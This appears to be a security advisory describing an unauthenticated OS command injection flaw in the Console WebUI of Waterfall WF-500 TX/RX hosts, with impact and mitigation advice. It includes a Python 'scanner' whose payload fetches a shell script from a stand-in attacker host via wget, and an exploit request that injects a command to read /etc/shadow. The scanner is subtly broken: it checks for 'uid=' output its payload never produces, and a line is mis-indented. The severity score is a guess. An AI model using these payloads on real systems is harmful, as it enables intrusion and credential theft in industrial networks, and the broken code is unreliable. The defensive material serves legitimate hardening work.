CVE-2025-41272 is an OS command injection vulnerability discovered by Nozomi Networks Labs in the Console WebUI of Waterfall WF-500 TX and RX Hosts, specifically firmware version 7.9.1.0 R2502171040. The flaw originates from improper neutralization of special elements used in an OS command (CWE-78). Because the web interface fails to sanitize user-supplied input, an unauthenticated remote attacker can inject arbitrary operating system commands into vulnerable parameters. The Console WebUI processes certain HTTP requests without validating or escaping shell metacharacters such as semicolons, pipes, backticks, or command substitution operators. When the backend passes this unsanitized data to a system shell, the injected commands execute with the privileges of the web server process—typically root or a highly privileged user. Attackers can craft malicious POST or GET requests to endpoints that invoke shell commands, embedding payloads like `; id` or | cat /etc/passwd. Successful exploitation leads to full remote code execution, allowing the attacker to read, modify, or delete files, install backdoors, pivot to internal networks, or disrupt operations. The attack requires no prior authentication, making it highly dangerous for industrial control system environments where Waterfall hosts are deployed. The CVSS 3.x vector string is not provided in the NVD entry, but based on similar command injection flaws, the severity is expected to be critical (CVSS base score 9.8 or higher). Nozomi Networks reported this issue, and the NVD published the CVE on May 29, 2026, with the last modification on June 1, 2026. Administrators should assume all WF-500 units running the affected version are vulnerable until patched. The vulnerability resides in the Console WebUI component, which is typically exposed for management purposes. Given the unauthenticated nature, exploitation can be performed over the network with low complexity. Security monitoring may detect abnormal shell command execution, but proactive patching is the primary mitigation.

Proof-of-concept scanner
import requests
target = "http://<waterfall-ip>"
payload = "admin; wget http://attacker/shell.sh"
r = requests.post(f"{target}/console", data={"cmd": payload})
if "uid=" in r.text:
print("VULNERABLE to CVE-2025-41272")
Exploit:
Send unauthenticated HTTP request to Console WebUI with command injection in any parameter (e.g., cmd, ip, ping). Example: POST /cgi-bin/console HTTP/1.1\nHost: <target>\nContent-Type: application/x-www-form-urlencoded\n\nparam=ping%20127.0.0.1%3B%20cat%20/etc/shadow. The injected command executes immediately with high privileges.
Protection:
Apply firmware update once released by Waterfall. If unavailable, disable Console WebUI access, restrict network access to trusted IPs using ACLs, deploy WAF rules blocking shell metacharacters (;, |, &, $, `), and monitor for unexpected process execution.
Impact:
Remote unauthenticated attacker gains full OS command execution on TX/RX hosts, leading to complete compromise of the device, data exfiltration, lateral movement into OT networks, disruption of industrial communication links, and potential physical process manipulation.
